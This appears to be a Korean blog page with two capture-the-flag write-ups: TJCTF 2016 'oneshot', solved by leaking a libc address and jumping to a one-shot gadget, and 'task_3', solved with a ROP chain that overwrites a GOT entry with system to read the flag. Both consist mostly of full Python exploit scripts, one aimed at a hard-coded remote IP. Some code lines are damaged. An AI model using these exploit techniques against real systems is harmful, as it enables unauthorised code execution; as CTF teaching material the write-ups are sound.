소스코드는 되게 간단하다.

주소값을 입력하면 그 주소의 위치를 가르쳐준다. 그리고 원하는 주소로 이동을 할 수 있다.





libc 주소를 구할 수 있으므로, oneshot(magic) 가젯을 이용하여 문제를 풀 수 있다.

(magic 가젯은 로컬과 xinetd로 돌아가는 서비스에서만 사용 가능)






[ Exploit Code ]


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from time import *
 
= ELF('./oneshot')
 
main = 0x400646
puts_got = 0x600ad8
offset_puts = 0x06f690
#offset_system = 0x045390
#offset_str_bin_sh = 0x18cd57
offset_oneshot = 0xf1147#0x4526a
 
= remote('127.0.0.1'8888)
 
raw_input(">")
 
print p.recvuntil("Read location?")
p.sendline(str(puts_got))
print p.recvuntil("Value: ")
#print p.recv(18)
 
libc_addr = int(p.recv(18), 0- offset_puts
oneshot_addr = libc_addr + offset_oneshot
 
print "[+] libc_addr = 0x%x" % libc_addr
print "[+] oneshot_addr = 0x%x" % oneshot_addr
 
print p.recvuntil("Jump location?")
p.sendline(str(oneshot_addr))
 
p.interactive()
 
 
 
cs


'CTF > etc.' 카테고리의 다른 글

KYSIS CTF 2018 Write up  (0) 2018.08.21
[Plaid CTF 2015] EBP  (0) 2018.04.19
[Defcon 26 quals 2016] feedme  (0) 2017.11.19
[QIWI CTF 2016] PWN 200_3  (0) 2016.12.06
[Defcon 25 quals 2015] r0pbaby  (0) 2016.11.10

task_3

libc.so.6






문제는 되게 단순하다.

IDA를 통해 소스를 보면 친절하게도 함수 이름을 vulnerable로 해놓은 것을 볼 수 있다.





read() 함수를 통해 할당된 버퍼의 크기보다 더 많이 읽어들여 오버플로우 취약점이 존재하는 것을 알 수 있다.





ROP로 문제를 풀면 된다. 

lib.so.6 파일도 제공해주기 때문에 쉽게 문제를 풀 수 있다.





[ Exploit Code ]


from socket import *

from struct import *

from time import *


p = lambda x : pack("<L", x)

up = lambda x : unpack("<L", x)[0]


s = socket(AF_INET, SOCK_STREAM)

s.connect(('138.201.98.45', 4000))


read_plt = 0x8048360

read_got = 0x804a000 

write_plt = 0x80483a0

offset = 0x9d8e0

bss = 0x804a020

pppr = 0x804855d

cmd = "cat flag>&1\00"


payload = ''

payload += "A"*136

payload += "B"*4


# bss 

payload += p(read_plt)

payload += p(pppr)

payload += p(0)

payload += p(bss)

payload += p(len(cmd))


# leak read_addr

payload += p(write_plt)

payload += p(pppr)

payload += p(1)

payload += p(read_got)

payload += p(4)


# read -> system

payload += p(read_plt)

payload += p(pppr)

payload += p(0)

payload += p(read_got)

payload += p(4)


# system

payload += p(read_plt)

payload += "AAAA"

payload += p(bss)


print "[*] payload = %d" % len(payload)

print "[*] send payload..."

s.send(payload)

s.send(cmd)


read_addr = up(s.recv(4))

system_addr = read_addr - offset

print "[*] read_addr = 0x%x" % read_addr

print "[*] system_addr = 0x%x" % system_addr

s.send(p(system_addr))

print s.recv(4096)



'CTF > etc.' 카테고리의 다른 글

[Plaid CTF 2015] EBP  (0) 2018.04.19
[TJCTF 2016] oneshot  (0) 2018.02.13
[Defcon 26 quals 2016] feedme  (0) 2017.11.19
[Defcon 25 quals 2015] r0pbaby  (0) 2016.11.10
[Plaid CTF 2013] ropasaurusrex  (0) 2016.10.21

+ Recent posts